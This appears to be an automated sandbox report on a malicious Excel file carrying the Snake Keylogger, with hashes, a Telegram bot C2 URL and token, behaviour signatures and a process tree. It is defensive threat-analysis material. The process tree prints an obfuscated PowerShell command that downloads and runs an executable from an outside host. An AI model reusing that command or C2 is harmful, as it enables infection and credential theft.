Analysis

  • max time kernel
    117s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-10-2024 06:41

General

  • Target

    PaymentXConfirmationXcopy.xls

  • Size

    848KB

  • MD5

    5a232e6f517ecc2663439fcf2a28573d

  • SHA1

    155a24515072423a751465a774fc6e3e24e21f84

  • SHA256

    4af00aaa090c79876c7d3c1c337cdb5244f0b05689de4e22b7ed4a84bb8eb9d8

  • SHA512

    a96e1d03f6155e30e236d4234c0c352911d3780cd59493ea8545296dc8b42c2befed3972adfbf0001df24023e522547d00bb2de68c27d729cf689487ad5b4f49

  • SSDEEP

    12288:YmzHJE+CzldQD3DERnLRmF8D5JhuiC3LaQlOh4cjUVwUi4t7W:zczlWbARM8NTC3eQ0h4eU

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot8129252196:AAFb_vUYwennKVolbwpXf3vnDfT_yhozHns/sendMessage?chat_id=7004340450

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 3 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PaymentXConfirmationXcopy.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2980
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2168
    • C:\Windows\SysWOW64\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe
      "C:\Windows\systEm32\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe" "poweRshELl.ExE -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt ; IEx($(IeX('[sysTEM.TExT.eNcODiNG]'+[CHAr]58+[cHAr]58+'utf8.GEtStrIng([sYStEM.CONVert]'+[cHaR]58+[ChAR]58+'FRoMBASE64stRiNG('+[chaR]0X22+'JHpWV21LICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFcmRlZklOaVRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVJdEd0RkxyayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlPaGNCWkMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnRFl3bFBXUURDLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHp1UyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFV3Z05LQ3FQWk8pOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQ3RhaHNQek92IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUVzUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU0hrSyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpWV21LOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNDUvNTYxL3dsYW5leHQuZXhlIiwiJEVuVjpBUFBEQVRBXHdsYW5leHQuZXhlIiwwLDApO3N0QVJ0LVNsRWVQKDMpO3NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[chAR]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt
        3⤵
        • Evasion via Device Credential Deployment
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2832
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rvapjjnk.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2952
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES903F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC903E.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2420
      • C:\Users\Admin\AppData\Roaming\wlanext.exe
        "C:\Users\Admin\AppData\Roaming\wlanext.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2972
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Users\Admin\AppData\Roaming\wlanext.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:1332

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

    Filesize

    1KB

    MD5

    67e486b2f148a3fca863728242b6273e

    SHA1

    452a84c183d7ea5b7c015b597e94af8eef66d44a

    SHA256

    facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb

    SHA512

    d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

    Filesize

    436B

    MD5

    971c514f84bba0785f80aa1c23edfd79

    SHA1

    732acea710a87530c6b08ecdf32a110d254a54c8

    SHA256

    f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

    SHA512

    43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

    Filesize

    174B

    MD5

    da323395f175e1189915da00e3bae9cc

    SHA1

    84740bd58dac0bc8f63ae5764d59c134669a43d7

    SHA256

    ae817e2ad31fec8627e4f962172b523eb52ae1afc4e3167d419557b40f814ae5

    SHA512

    8b9d925e809d3dc61e3950d0966a07a0b14b984e9909df76005e79ffef82a457f51fd70ed3b72fad0be3d10c46568773fe414a0f442369582eefc3743bea8462

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    fc50c8228403fac31ebfadd6ac876d3e

    SHA1

    3d8a3c43816dcc83e6e7572af6b8359a745c9835

    SHA256

    0cf126dedbeda5ded79c1d3e54128e4beec0016148c98abbbe33593c361cf923

    SHA512

    07920f563da575d23a07a54f644c742e146f2ba77d30d3accbfe97fe0fd61661690a2a091972543d137e78c4b2dee52b2cd0f3621d4613bf7498b0ed76c5fb6b

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

    Filesize

    170B

    MD5

    a08570005ef6675c093f8f72b0d364da

    SHA1

    ffceebff1add9fcbaba63dce4c0fb6ad5078f0d7

    SHA256

    5b04bf9c65aa77a50bf4e5682d2a84d2dd4931186c2800a3edafb7640a9cbb23

    SHA512

    877d52abd2b54a6e9eaaccd17a3e7265cbf1924463e49b6a07f543f12b53b766bf0a12a98f182c3e71c71a789e46ec6cdaeccf99636e679f449645474e674fec

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DJB1KT77\seethemagicalpersoninmylifewithherlifegoodforme[1].hta

    Filesize

    8KB

    MD5

    24dcf722096ca6d02bbb70733ae01abc

    SHA1

    fb8166a57aaf6d4837dfb686b84ee51474941c83

    SHA256

    e0d07f596090db80fff8fb48b11999010611ac352534fadcf295c7ac47042bdd

    SHA512

    bb055ad22ba25be389d212fe6517b28244234d259cb0dc870eb7691b6ac3f99ed1d3a8408552f3f1fed9d29313a4a14d5a3fc3c08c629790990a8229f8ab33da

  • C:\Users\Admin\AppData\Local\Temp\Cab86FB.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES903F.tmp

    Filesize

    1KB

    MD5

    c4305f26430eccedbe0c6d87ad841921

    SHA1

    065c5329f48e96d9d9d6c578f3bd60ba846e2db3

    SHA256

    24c29b87d4006c9f4551e4d2cc75efcecacbd598354fb43f83d212a1e1e6b02f

    SHA512

    d8e09a0d9cdc1ee0ea4bdde736917982add9e44cd4d39ab8dc3a800dd79dc97e2595f9c916bbbc4889da9f019d649a586da527b9f6cee3b3b70c27ff19cff439

  • C:\Users\Admin\AppData\Local\Temp\rvapjjnk.dll

    Filesize

    3KB

    MD5

    20e66997952b31a9cdc4a6a6d03e7e07

    SHA1

    a7214d74cde5f8c457e5cad0bbe30e09c89c44de

    SHA256

    ab70b7082691baeebc199cc58580739933b60a151d052b443c3554df67ade532

    SHA512

    7cbc7c920e0922637e08adf3e4201e1e8d7e48ceed6e49a1b3c336fbb1c3d224d7e2a901e79dc32904fe1a3769569ef646943554340b8d93fa7ada24e0c64a03

  • C:\Users\Admin\AppData\Local\Temp\rvapjjnk.pdb

    Filesize

    7KB

    MD5

    9f0bf66a6a019abe368fba7f26033f15

    SHA1

    fcae933609e8100958187e34eabe762411244d3f

    SHA256

    dd1edc96142cf5db01d983a49051c06ab6b0b68af4b3fc3fdb638843cc7bfe92

    SHA512

    fdd50fbdc42a7a7f5a40a969218984b0693b07aa29365ba8d0a47de6e31a495bb3195983f932ee8e60f3c2b6d05d1ae5952ff24228f05bc99f90c96a1f8dd669

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    a53a0674c160baf9ee6d3bb921be91ac

    SHA1

    3cf9b88ffe87d09576df184d923024a718fe13f8

    SHA256

    e59a2c9e2607459bf395653104eaaca40b909771026070b025bd256deb1fb11d

    SHA512

    3c44baf9346c485782d46f95c5b8f9892998ca8983158e4ec109c63c6e63a4ed111cc16eb98cfeeee1dbb167b7f0d2f1209468730bad5b53613cd7cbf6fda15f

  • C:\Users\Admin\AppData\Roaming\wlanext.exe

    Filesize

    928KB

    MD5

    ed7a5494d8b8fcb1044999a61e436ed7

    SHA1

    8295350be915d24bd3701e5b0ad9711dfc2f2f86

    SHA256

    644357875a1b10ed205cf41b3dd8fe4f9f78be54b8dd07642e0648dd67177819

    SHA512

    c138d6ee662be1fab2cd9b8418e3419414205797e1dd82a0b8a1455cfb0f23a6720cd686600049d8eb557b483b806e587693b22f3755e1e00f311d48cd968a33

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC903E.tmp

    Filesize

    652B

    MD5

    e29d578f7bed4aff2416fdb24ecb4bbd

    SHA1

    b0684265f0ba718f19555ff45ef8fc0008e07a1f

    SHA256

    e35bcdd5d78295559f4d56d3c890d344400a11089588065a37c00a8930341839

    SHA512

    9e731c7ce7f7a6887c6766ef372a7331b1aa4e7c37a5d966acecde8b9af5bfb2143a3c410b666c92f75deefbe9b73a1d381a046868b69c2198096d4c4ac9913e

  • \??\c:\Users\Admin\AppData\Local\Temp\rvapjjnk.0.cs

    Filesize

    483B

    MD5

    4c5d6a51b5bad9b89090a128b2676ef5

    SHA1

    13fbf9031d31d7c621c9fa9816818b341377d487

    SHA256

    c849809f9d06a8ef3bbd4de89bc706fbd851231f8dfe9f8ed84800c9b67e80d7

    SHA512

    a3f1573cee336b8efe076e8746e5a61e73d46b539cb5170f297262a5327e7b43e0c45cfe93682e93b92f20e878ae9e21e60502dbcdf492236ea642f15290601d

  • \??\c:\Users\Admin\AppData\Local\Temp\rvapjjnk.cmdline

    Filesize

    309B

    MD5

    a89db01772be3d87169dfd900aeec936

    SHA1

    c29f98a757f507756cbcab544f8b32301ce94bb9

    SHA256

    db6b7f70fb80aa4a2c1c0d541a852b3228c103b9394d902bc277bd6a5bbb5dd0

    SHA512

    84cfb3017174344b94f5a5c672360ca41dc0ab0f44105c7141a00e76fc703fce2fe86f026117239c9ec5a329d313d54183012eb9a9f8cfa58bafa995ba78dfcd

  • memory/1332-71-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/1332-73-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/1332-72-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/2168-18-0x0000000002490000-0x0000000002492000-memory.dmp

    Filesize

    8KB

  • memory/2980-19-0x0000000002370000-0x0000000002372000-memory.dmp

    Filesize

    8KB

  • memory/2980-1-0x000000007252D000-0x0000000072538000-memory.dmp

    Filesize

    44KB

  • memory/2980-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2980-74-0x000000007252D000-0x0000000072538000-memory.dmp

    Filesize

    44KB